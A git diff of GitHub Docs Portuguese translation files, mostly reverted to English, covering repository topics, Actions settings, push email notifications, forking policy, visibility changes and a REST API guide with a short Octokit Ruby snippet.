Adicionar tópicos ao repositório +## Adding topics to your repository {% data reusables.repositories.navigate-to-repo %} -2. À direita de "Sobre", clique em {% octicon "gear" aria-label="The Gear icon" %}. ![Ícone de engrenagem na página principal de um repositório](/assets/images/help/repository/edit-repository-details-gear.png) -3. Em "Tópicos", digite o tópico que você deseja adicionar ao seu repositório e, em seguida, digite um espaço. ![Formulário para inserir tópicos](/assets/images/help/repository/add-topic-form.png) -4. Depois que acabar de adicionar tópicos, clique em **Salvar alterações**. ![Botão de "Salvar alterações" em "Editar detalhes do repositório"](/assets/images/help/repository/edit-repository-details-save-changes-button.png) +2. To the right of "About", click {% octicon "gear" aria-label="The Gear icon" %}. + ![Gear icon on main page of a repository](/assets/images/help/repository/edit-repository-details-gear.png) +3. Under "Topics", type the topic you want to add to your repository, then type a space. + ![Form to enter topics](/assets/images/help/repository/add-topic-form.png) +4. After you've finished adding topics, click **Save changes**. + !["Save changes" button in "Edit repository details"](/assets/images/help/repository/edit-repository-details-save-changes-button.png) diff --git a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md new file mode 100644 index 0000000000..cb0ef50a07 --- /dev/null +++ b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md @@ -0,0 +1,143 @@ +--- +title: Managing GitHub Actions settings for a repository +intro: 'You can disable or configure {% data variables.product.prodname_actions %} for a specific repository.' +redirect_from: + - /github/administering-a-repository/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository + - /github/administering-a-repository/managing-repository-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository + - /github/administering-a-repository/disabling-or-limiting-github-actions-for-a-repository + - /github/administering-a-repository/managing-repository-settings/disabling-or-limiting-github-actions-for-a-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Actions + - Permissions + - Pull requests +shortTitle: Manage GitHub Actions settings +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About {% data variables.product.prodname_actions %} permissions for your repository + +{% data reusables.github-actions.disabling-github-actions %} For more information about {% data variables.product.prodname_actions %}, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)." + +You can enable {% data variables.product.prodname_actions %} for your repository. {% data reusables.github-actions.enabled-actions-description %} You can disable {% data variables.product.prodname_actions %} for your repository altogether. {% data reusables.github-actions.disabled-actions-description %} + +Alternatively, you can enable {% data variables.product.prodname_actions %} in your repository but limit the actions a workflow can run. {% data reusables.github-actions.enabled-local-github-actions %} + +## Managing {% data variables.product.prodname_actions %} permissions for your repository + +You can disable all workflows for a repository or set a policy that configures which actions can be used in a repository. + +{% data reusables.actions.actions-use-policy-settings %} + +{% note %} + +**Note:** You might not be able to manage these settings if your organization has an overriding policy or is managed by an enterprise that has overriding policy. For more information, see "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)" or "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)." + +{% endnote %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.settings-sidebar-actions %} +1. Under **Actions permissions**, select an option. + ![Set actions policy for this organization](/assets/images/help/repository/actions-policy.png) +1. Click **Save**. + +## Allowing specific actions to run + +{% data reusables.actions.allow-specific-actions-intro %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.settings-sidebar-actions %} +1. Under **Actions permissions**, select **Allow select actions** and add your required actions to the list. + {%- ifversion ghes > 3.0 %} + ![Add actions to allow list](/assets/images/help/repository/actions-policy-allow-list.png) + {%- else %} + ![Add actions to allow list](/assets/images/enterprise/github-ae/repository/actions-policy-allow-list.png) + {%- endif %} +2. Click **Save**. + +{% ifversion fpt or ghec %} +## Configuring required approval for workflows from public forks + +{% data reusables.actions.workflow-run-approve-public-fork %} + +You can configure this behavior for a repository using the procedure below. Modifying this setting overrides the configuration set at the organization or enterprise level. + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.settings-sidebar-actions %} +{% data reusables.github-actions.workflows-from-public-fork-setting %} + +{% data reusables.actions.workflow-run-approve-link %} +{% endif %} + +## Enabling workflows for private repository forks + +{% data reusables.github-actions.private-repository-forks-overview %} + +### Configuring the private fork policy for a repository + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.settings-sidebar-actions %} +{% data reusables.github-actions.private-repository-forks-configure %} + +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +## Setting the permissions of the `GITHUB_TOKEN` for your repository + +{% data reusables.github-actions.workflow-permissions-intro %} + +The default permissions can also be configured in the organization settings. If the more restricted default has been selected in the organization settings, the same option is auto-selected in your repository settings and the permissive option is disabled. + +{% data reusables.github-actions.workflow-permissions-modifying %} + +### Configuring the default `GITHUB_TOKEN` permissions + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.settings-sidebar-actions %} +1. Under **Workflow permissions**, choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope. + ![Set GITHUB_TOKEN permissions for this repository](/assets/images/help/settings/actions-workflow-permissions-repository.png) +1. Click **Save** to apply the settings. +{% endif %} + +{% ifversion ghes > 3.3 or ghae-issue-4757 or ghec %} +## Allowing access to components in an internal repository + +Members of your enterprise can use internal repositories to work on projects without sharing information publicly. For information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-internal-repositories)." + +To configure whether workflows in an internal repository can be accessed from outside the repository: + +1. On {% data variables.product.prodname_dotcom %}, navigate to the main page of the internal repository. +1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %} **Settings**. +{% data reusables.repositories.settings-sidebar-actions %} +1. Under **Access**, choose one of the access settings: + ![Set the access to Actions components](/assets/images/help/settings/actions-access-settings.png) + * **Not accessible** - Workflows in other repositories can't use workflows in this repository. + * **Accessible from repositories in the '<organization name>' organization** - Workflows in other repositories can use workflows in this repository if they are part of the same organization and their visibility is private or internal. + * **Accessible from repositories in the '<enterprise name>' enterprise** - Workflows in other repositories can use workflows in this repository if they are part of the same enterprise and their visibility is private or internal. +1. Click **Save** to apply the settings. +{% endif %} + +## Configuring the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your repository + +You can configure the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your repository. + +{% data reusables.actions.about-artifact-log-retention %} + +You can also define a custom retention period for a specific artifact created by a workflow. For more information, see "[Setting the retention period for an artifact](/actions/managing-workflow-runs/removing-workflow-artifacts#setting-the-retention-period-for-an-artifact)." + +## Setting the retention period for a repository + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.settings-sidebar-actions %} +{% data reusables.github-actions.change-retention-period-for-artifacts-logs %} diff --git a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md new file mode 100644 index 0000000000..9a40def4b8 --- /dev/null +++ b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md @@ -0,0 +1,54 @@ +--- +title: About email notifications for pushes to your repository +intro: You can choose to automatically send email notifications to a specific email address when anyone pushes to the repository. +permissions: People with admin permissions in a repository can enable email notifications for pushes to your repository. +redirect_from: + - /articles/managing-notifications-for-pushes-to-a-repository/ + - /articles/receiving-email-notifications-for-pushes-to-a-repository/ + - /articles/about-email-notifications-for-pushes-to-your-repository/ + - /github/receiving-notifications-about-activity-on-github/about-email-notifications-for-pushes-to-your-repository + - /github/administering-a-repository/about-email-notifications-for-pushes-to-your-repository + - /github/administering-a-repository/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Email notifications for pushes +--- +{% data reusables.notifications.outbound_email_tip %} + +Each email notification for a push to a repository lists the new commits and links to a diff containing just those commits. In the email notification you'll see: + +- The name of the repository where the commit was made +- The branch a commit was made in +- The SHA1 of the commit, including a link to the diff in {% data variables.product.product_name %} +- The author of the commit +- The date when the commit was made +- The files that were changed as part of the commit +- The commit message + +You can filter email notifications you receive for pushes to a repository. For more information, see {% ifversion fpt or ghae or ghes or ghec %}"[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications){% else %}"[About notification emails](/github/receiving-notifications-about-activity-on-github/about-email-notifications)." You can also turn off email notifications for pushes. For more information, see "[Choosing the delivery method for your notifications](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/choosing-the-delivery-method-for-your-notifications){% endif %}." + +## Enabling email notifications for pushes to your repository + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.sidebar-notifications %} +5. Type up to two email addresses, separated by whitespace, where you'd like notifications to be sent. If you'd like to send emails to more than two accounts, set one of the email addresses to a group email address. +![Email address textbox](/assets/images/help/settings/email_services_addresses.png) +1. If you operate your own server, you can verify the integrity of emails via the **Approved header**. The **Approved header** is a token or secret that you type in this field, and that is sent with the email. If the `Approved` header of an email matches the token, you can trust that the email is from {% data variables.product.product_name %}. +![Email approved header textbox](/assets/images/help/settings/email_services_approved_header.png) +7. Click **Setup notifications**. +![Setup notifications button](/assets/images/help/settings/setup_notifications_settings.png) + +## Further reading +{% ifversion fpt or ghae or ghes or ghec %} +- "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)" +{% else %} +- "[About notifications](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/about-notifications)" +- "[Choosing the delivery method for your notifications](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/choosing-the-delivery-method-for-your-notifications)" +- "[About email notifications](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/about-email-notifications)" +- "[About web notifications](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/about-web-notifications)"{% endif %} diff --git a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md index 763a49e313..b5692be81c 100644 --- a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md +++ b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md @@ -1,6 +1,6 @@ --- -title: Gerenciando a política de bifurcação para seu repositório -intro: 'Você pode permitir ou impedir a bifurcação de um repositório privado específico{% ifversion fpt or ghae or ghes or ghec %} ou interno{% endif %} pertencente a uma organização.' +title: Managing the forking policy for your repository +intro: 'You can allow or prevent the forking of a specific private{% ifversion ghae or ghes or ghec %} or internal{% endif %} repository owned by an organization.' redirect_from: - /articles/allowing-people-to-fork-a-private-repository-owned-by-your-organization - /github/administering-a-repository/allowing-people-to-fork-a-private-repository-owned-by-your-organization @@ -14,18 +14,16 @@ versions: ghec: '*' topics: - Repositories -shortTitle: Gerenciar a política de bifurcação +shortTitle: Manage the forking policy --- - -Um proprietário de organização deve permitir bifurcações de repositórios privados{% ifversion fpt or ghae or ghes or ghec %} e internos{% endif %} no nível da organização antes que você possa permitir ou impedir bifurcações de um repositório específico. Para obter mais informações, consulte "[Gerenciando a política de bifurcação para sua organização](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)". - -{% data reusables.organizations.internal-repos-enterprise %} +An organization owner must allow forks of private{% ifversion ghae or ghes or ghec %} and internal{% endif %} repositories on the organization level before you can allow or disallow forks for a specific repository. For more information, see "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} -3. Em "Features" (Recursos), selecione **Allow forking** (Permitir bifurcação). ![Caixa de seleção para permitir ou proibir a bifurcação de um repositório privado](/assets/images/help/repository/allow-forking-specific-org-repo.png) +3. Under "Features", select **Allow forking**. + ![Checkbox to allow or disallow forking of a private repository](/assets/images/help/repository/allow-forking-specific-org-repo.png) -## Leia mais +## Further reading -- "[Sobre bifurcações](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" +- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" diff --git a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md index 6276ec5650..1841cf3ab9 100644 --- a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md +++ b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md @@ -1,6 +1,6 @@ --- -title: Definir a visibilidade de um repositório -intro: Você pode escolher quem pode visualizar seu repositório. +title: Setting repository visibility +intro: You can choose who can view your repository. redirect_from: - /articles/making-a-private-repository-public/ - /articles/making-a-public-repository-private/ @@ -15,85 +15,90 @@ versions: ghec: '*' topics: - Repositories -shortTitle: Visibilidade do repositório +shortTitle: Repository visibility --- +## About repository visibility changes -## Sobre alterações de visibilidade do repositório +Organization owners can restrict the ability to change repository visibility to organization owners only. For more information, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)." -Os proprietários da organização podem restringir a capacidade de alterar a visibilidade do repositório apenas para os proprietários da organização. Para obter mais informações, consulte "[Restringir as alterações de visibilidade do repositório na sua organização](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)". +{% ifversion ghec %} -{% ifversion fpt or ghec %} - -Se você for integrante de um {% data variables.product.prodname_emu_enterprise %}, seus repositórios pertencentes à sua conta de usuário só poderão ser privados e os repositórios nas organizações da sua empresa só poderão ser privados ou internos. +Members of an {% data variables.product.prodname_emu_enterprise %} can only set the visibility of repositories owned by their user account to private, and repositories in their enterprise's organizations can only be private or internal. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)." {% endif %} -Recomendamos revisar as seguintes advertências antes de alterar a visibilidade de um repositório. +We recommend reviewing the following caveats before you change the visibility of a repository. {% ifversion ghes or ghae %} {% warning %} -**Aviso:** As alterações na visibilidade de um repositório grande ou rede de repositórios podem afetar a integridade dos dados. As alterações na visibilidade também podem ter efeitos não intencionais nas bifurcações. {% data variables.product.company_short %} recomenda o seguinte antes de alterar a visibilidade da rede de um repositório. +**Warning:** Changes to the visibility of a large repository or repository network may affect data integrity. Visibility changes can also have unintended effects on forks. {% data variables.product.company_short %} recommends the following before changing the visibility of a repository network. -- Aguarde um período de atividade reduzida em {% data variables.product.product_location %}. +- Wait for a period of reduced activity on {% data variables.product.product_location %}. -- Entre em contato com o administrador do seu {% ifversion ghes %}site {% elsif ghae %}proprietário da empresa{% endif %} antes de prosseguir. O {% ifversion ghes %}administrador do seu site{% elsif ghae %}proprietário da empresa{% endif %} pode entrar em contato com {% data variables.contact.contact_ent_support %} para obter mais orientação. +- Contact your {% ifversion ghes %}site administrator{% elsif ghae %}enterprise owner{% endif %} before proceeding. Your {% ifversion ghes %}site administrator{% elsif ghae %}enterprise owner{% endif %} can contact {% data variables.contact.contact_ent_support %} for further guidance. {% endwarning %} {% endif %} -### Tornar um repositório privado +### Making a repository private {% ifversion fpt or ghes or ghec %} -* O {% data variables.product.product_name %} destacará bifurcações públicas do repositório público e as colocará em uma nova rede. As bifurcações públicas não se convertem em privadas.{% endif %} -* Se você alterar a visibilidade de um repositório interno para privado, {% data variables.product.prodname_dotcom %} removerá bifurcações que pertencem a qualquer usuário sem acesso ao repositório privado recente. {% ifversion fpt or ghes or ghec %}A visibilidade de qualquer bifurcação também será alterada para privada.{% elsif ghae %}Se o repositório interno tiver alguma bifurcação, significa que a visibilidade das bifurcações já é privada.{% endif %} Para obter mais informações, consulte "[O que acontece com as bifurcações quando um repositório é excluído ou a visibilidade é alterada?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)"{% ifversion fpt %} -* Se você estiver usando {% data variables.product.prodname_free_user %} para contas de usuário ou organizações, alguns recursos não estarão disponíveis no repositório depois de alterar a visibilidade para privada. Qualquer site publicado do {% data variables.product.prodname_pages %} terá sua publicação cancelada automaticamente. Se você adicionou um domínio personalizado ao site do {% data variables.product.prodname_pages %}, deverá remover ou atualizar os registros de DNS antes de tornar o repositório privado para evitar o risco de uma aquisição de domínio. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products) and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."{% endif %}{% ifversion fpt or ghec %} -* {% data variables.product.prodname_dotcom %} não incluirá mais o repositório no {% data variables.product.prodname_archive %}. Para obter mais informações, consulte "[Sobre como arquivar conteúdo e dados no {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)". -* As funcionalidades de {% data variables.product.prodname_GH_advanced_security %} como, por exemplo, {% data variables.product.prodname_code_scanning %} irá parar de funcionar a menos que o repositório pertença a uma organização que faz parte de uma empresa com uma licença para {% data variables.product.prodname_advanced_security %} e estações sobressalentes suficientes. {% data reusables.advanced-security.more-info-ghas %}{% endif %}{% ifversion ghes %} -* O acesso de leitura anônimo do Git não está mais disponível. Para obter mais informações, consulte "[Habilitar acesso de leitura anônimo do Git para um repositório](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)".{% endif %} +* {% data variables.product.product_name %} will detach public forks of the public repository and put them into a new network. Public forks are not made private.{% endif %} +{%- ifversion ghes or ghec or ghae %} +* If you change a repository's visibility from internal to private, {% data variables.product.prodname_dotcom %} will remove forks that belong to any user without access to the newly private repository. {% ifversion fpt or ghes or ghec %}The visibility of any forks will also change to private.{% elsif ghae %}If the internal repository has any forks, the visibility of the forks is already private.{% endif %} For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)" +{%- endif %} -{% ifversion fpt or ghae or ghes or ghec %} +{%- ifversion fpt %} +* If you're using {% data variables.product.prodname_free_user %} for user accounts or organizations, some features won't be available in the repository after you change the visibility to private. Any published {% data variables.product.prodname_pages %} site will be automatically unpublished. If you added a custom domain to the {% data variables.product.prodname_pages %} site, you should remove or update your DNS records before making the repository private, to avoid the risk of a domain takeover. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products) and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)." +{%- endif %} -### Tornar um repositório interno +{%- ifversion fpt or ghec %} +* {% data variables.product.prodname_dotcom %} will no longer include the repository in the {% data variables.product.prodname_archive %}. For more information, see "[About archiving content and data on {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)." +* {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %}, will stop working unless the repository is owned by an organization that is part of an enterprise with a license for {% data variables.product.prodname_advanced_security %} and sufficient spare seats. {% data reusables.advanced-security.more-info-ghas %} +{%- endif %} -{% note %} +{%- ifversion ghes %} +* Anonymous Git read access is no longer available. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)." +{%- endif %} -**Observação:** {% data reusables.gated-features.internal-repos %} +{% ifversion ghes or ghec or ghae %} -{% endnote %} +### Making a repository internal -* Todas as bifurcações do repositório permanecerão na rede do repositório e a {% data variables.product.product_name %} manterá a relação entre o repositório raiz e a bifurcação. Para obter mais informações, consulte "[O que acontece com as bifurcações quando um repositório é excluído ou muda de visibilidade?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)" +* Any forks of the repository will remain in the repository network, and {% data variables.product.product_name %} maintains the relationship between the root repository and the fork. For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)" {% endif %} {% ifversion fpt or ghes or ghec %} -### Tornar um repositório público +### Making a repository public -* O {% data variables.product.product_name %} irá destacar bifurcações privadas e transformá-las em um repositório privado independente. Para obter mais informações, consulte "[O que acontece com as bifurcações quando um repositório é excluído ou muda a visibilidade?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility#changing-a-private-repository-to-a-public-repository)"{% ifversion fpt or ghec %} -* Se você estiver convertendo seu repositório privado em um repositório público, como parte de um movimento para a criação de um projeto de código aberto, consulte os [Guias de Código Aberto](http://opensource.guide) para obter dicas e diretrizes úteis. Você também pode fazer um curso grátis sobre gerenciamento de projeto de código aberto com [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}). Quando seu repositório é público, você também pode visualizar o perfil da comunidade do repositório para ver se os projetos atendem às práticas recomendadas de suporte aos contribuidores. Para obter mais informações, consulte "[Exibir o perfil da comunidade](/articles/viewing-your-community-profile)." -* O repositório automaticamente receberá acesso aos recursos de {% data variables.product.prodname_GH_advanced_security %}. +* {% data variables.product.product_name %} will detach private forks and turn them into a standalone private repository. For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility#changing-a-private-repository-to-a-public-repository)"{% ifversion fpt or ghec %} +* If you're converting your private repository to a public repository as part of a move toward creating an open source project, see the [Open Source Guides](http://opensource.guide) for helpful tips and guidelines. You can also take a free course on managing an open source project with [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}). Once your repository is public, you can also view your repository's community profile to see whether your project meets best practices for supporting contributors. For more information, see "[Viewing your community profile](/articles/viewing-your-community-profile)." +* The repository will automatically gain access to {% data variables.product.prodname_GH_advanced_security %} features. -Para obter informações sobre como melhorar a segurança do repositório, consulte "[Protegendo seu repositório](/code-security/getting-started/securing-your-repository)".{% endif %} +For information about improving repository security, see "[Securing your repository](/code-security/getting-started/securing-your-repository)."{% endif %} {% endif %} -## Alterar a visibilidade de um repositório +## Changing a repository's visibility {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} -3. Em "Danger Zone" (Zona de Perigo), à direita de "Alterar a visibilidade do repositório", clique **Alterar visibilidade**. ![Botão de alteração de visibilidade](/assets/images/help/repository/repo-change-vis.png) -4. Selecione uma visibilidade. +3. Under "Danger Zone", to the right of to "Change repository visibility", click **Change visibility**. + ![Change visibility button](/assets/images/help/repository/repo-change-vis.png) +4. Select a visibility. {% ifversion fpt or ghec %} - ![Caixa de diálogo de opções para visibilidade do repositório](/assets/images/help/repository/repo-change-select.png){% else %} -![Dialog of options for repository visibility](/assets/images/enterprise/repos/repo-change-select.png){% endif %} -5. Para verificar se você está alterando a visibilidade do repositório correto, digite o nome do repositório que deseja alterar a visibilidade. -6. Clique em **Eu entendi, altere a visibilidade do repositório**. + ![Dialog of options for repository visibility](/assets/images/help/repository/repo-change-select.png){% else %} + ![Dialog of options for repository visibility](/assets/images/enterprise/repos/repo-change-select.png){% endif %} +5. To verify that you're changing the correct repository's visibility, type the name of the repository you want to change the visibility of. +6. Click **I understand, change repository visibility**. {% ifversion fpt or ghec %} - ![Confirmar alteração do botão de visibilidade do repositório](/assets/images/help/repository/repo-change-confirm.png){% else %} -![Confirm change of repository visibility button](/assets/images/enterprise/repos/repo-change-confirm.png){% endif %} + ![Confirm change of repository visibility button](/assets/images/help/repository/repo-change-confirm.png){% else %} + ![Confirm change of repository visibility button](/assets/images/enterprise/repos/repo-change-confirm.png){% endif %} -## Leia mais -- "[Sobre repositórios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)" +## Further reading +- "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)" diff --git a/translations/pt-BR/content/rest/guides/discovering-resources-for-a-user.md b/translations/pt-BR/content/rest/guides/discovering-resources-for-a-user.md index 93f44883f9..74f1211882 100644 --- a/translations/pt-BR/content/rest/guides/discovering-resources-for-a-user.md +++ b/translations/pt-BR/content/rest/guides/discovering-resources-for-a-user.md @@ -1,6 +1,6 @@ --- -title: Descobrir recursos para um usuário -intro: Saiba como encontrar os repositórios e organizações que o seu aplicativo pode acessar para um usuário de forma confiável para as suas solicitações autenticadas para a API REST. +title: Discovering resources for a user +intro: Learn how to find the repositories and organizations that your app can access for a user in a reliable way for your authenticated requests to the REST API. redirect_from: - /guides/discovering-resources-for-a-user/ - /v3/guides/discovering-resources-for-a-user @@ -11,26 +11,26 @@ versions: ghec: '*' topics: - API -shortTitle: Descobrir recursos para um usuário +shortTitle: Discover resources for a user --- - -When making authenticated requests to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, applications often need to fetch the current user's repositories and organizations. Neste guia, explicaremos como descobrir esses recursos de forma confiável. -To interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll be using [Octokit.rb][octokit.rb]. Você pode encontrar o código-fonte completo para este projeto no repositório de [platform-samples][platform samples]. +When making authenticated requests to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, applications often need to fetch the current user's repositories and organizations. In this guide, we'll explain how to reliably discover those resources. -## Introdução +To interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll be using [Octokit.rb][octokit.rb]. You can find the complete source code for this project in the [platform-samples][platform samples] repository. -Se você ainda não o fez, você deverá ler o guia ["Princípios básicos da autenticação"][basics-of-authentication] antes de trabalhar com exemplos abaixo. Os exemplos abaixo assumem que você [registrou um aplicativo OAuth][register-oauth-app] e que seu aplicativo [tem um token do OAuth para um usuário][make-authenticated-request-for-user]. +## Getting started -## Descubra os repositórios que o seu aplicativo pode acessar para um usuário +If you haven't already, you should read the ["Basics of Authentication"][basics-of-authentication] guide before working through the examples below. The examples below assume that you have [registered an OAuth application][register-oauth-app] and that your [application has an OAuth token for a user][make-authenticated-request-for-user]. -Além de ter seus próprios repositórios pessoais, um usuário pode ser um colaborador em repositórios pertencentes a outros usuários e organizações. Coletivamente, estes são os repositórios onde o usuário tem acesso privilegiado: ou é um repositório privado onde o usuário tem acesso de leitura ou gravação, ou é um repositório {% ifversion not ghae %}public{% else %}internal{% endif %} onde o usuário tem acesso de gravação. +## Discover the repositories that your app can access for a user -[Os escopos do OAuth][scopes] e as [políticas dos aplicativos da organização][oap] determinam quais desses repositórios o seu aplicativo pode acessar para um usuário. Use o fluxo de trabalho abaixo para descobrir esses repositórios. +In addition to having their own personal repositories, a user may be a collaborator on repositories owned by other users and organizations. Collectively, these are the repositories where the user has privileged access: either it's a private repository where the user has read or write access, or it's {% ifversion fpt %}a public{% elsif ghec or ghes %}a public or internal{% elsif ghae %}an internal{% endif %} repository where the user has write access. -Como sempre, primeiro precisaremos da biblioteca de Ruby do [GitHub Octokit.rb][octokit.rb]. Em seguida, vamos configurar o Octokit.rb para gerenciar automaticamente a [paginação][pagination] para nós. +[OAuth scopes][scopes] and [organization application policies][oap] determine which of those repositories your app can access for a user. Use the workflow below to discover those repositories. + +As always, first we'll require [GitHub's Octokit.rb][octokit.rb] Ruby library. Then we'll configure Octokit.rb to automatically handle [pagination][pagination] for us. ``` ruby require 'octokit' @@ -38,7 +38,7 @@ require 'octokit' Octokit.auto_paginate = true ``` -Em seguida, passaremos o [Token OAuth para um determinado usuário][make-authenticated-request-for-user] do nosso aplicativo: +Next, we'll pass in our application's [OAuth token for a given user][make-authenticated-request-for-user]: ``` ruby # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! @@ -46,7 +46,7 @@ Em seguida, passaremos o [Token OAuth para um determinado usuário][make-authent client = Octokit::Client.new :access_token => ENV["OAUTH_ACCESS_TOKEN"] ``` -Em seguida, estaremos prontos para buscar os [repositórios que o nosso aplicativo pode acessar para o usuário][list-repositories-for-current-user]: +Then, we're ready to fetch the [repositories that our application can access for the user][list-repositories-for-current-user]: ``` ruby client.repositories.each do |repository| @@ -63,11 +63,11 @@ client.repositories.each do |repository| end ``` -## Descubra as organizações que o seu aplicativo pode acessar para um usuário +## Discover the organizations that your app can access for a user -Os aplicativos podem executar todos os tipos de tarefas relacionadas à organização para um usuário. Para executar essas tarefas, o aplicativo precisa de uma [autorização do OAuth][scopes] com permissão suficiente. Por exemplo, o escopo `read:org` permite que você [liste as equipes][list-teams] e o escopo do `usuário` permite que você [publique a associação da organização do usuário][publicize-membership]. Assim que um usuário conceder um 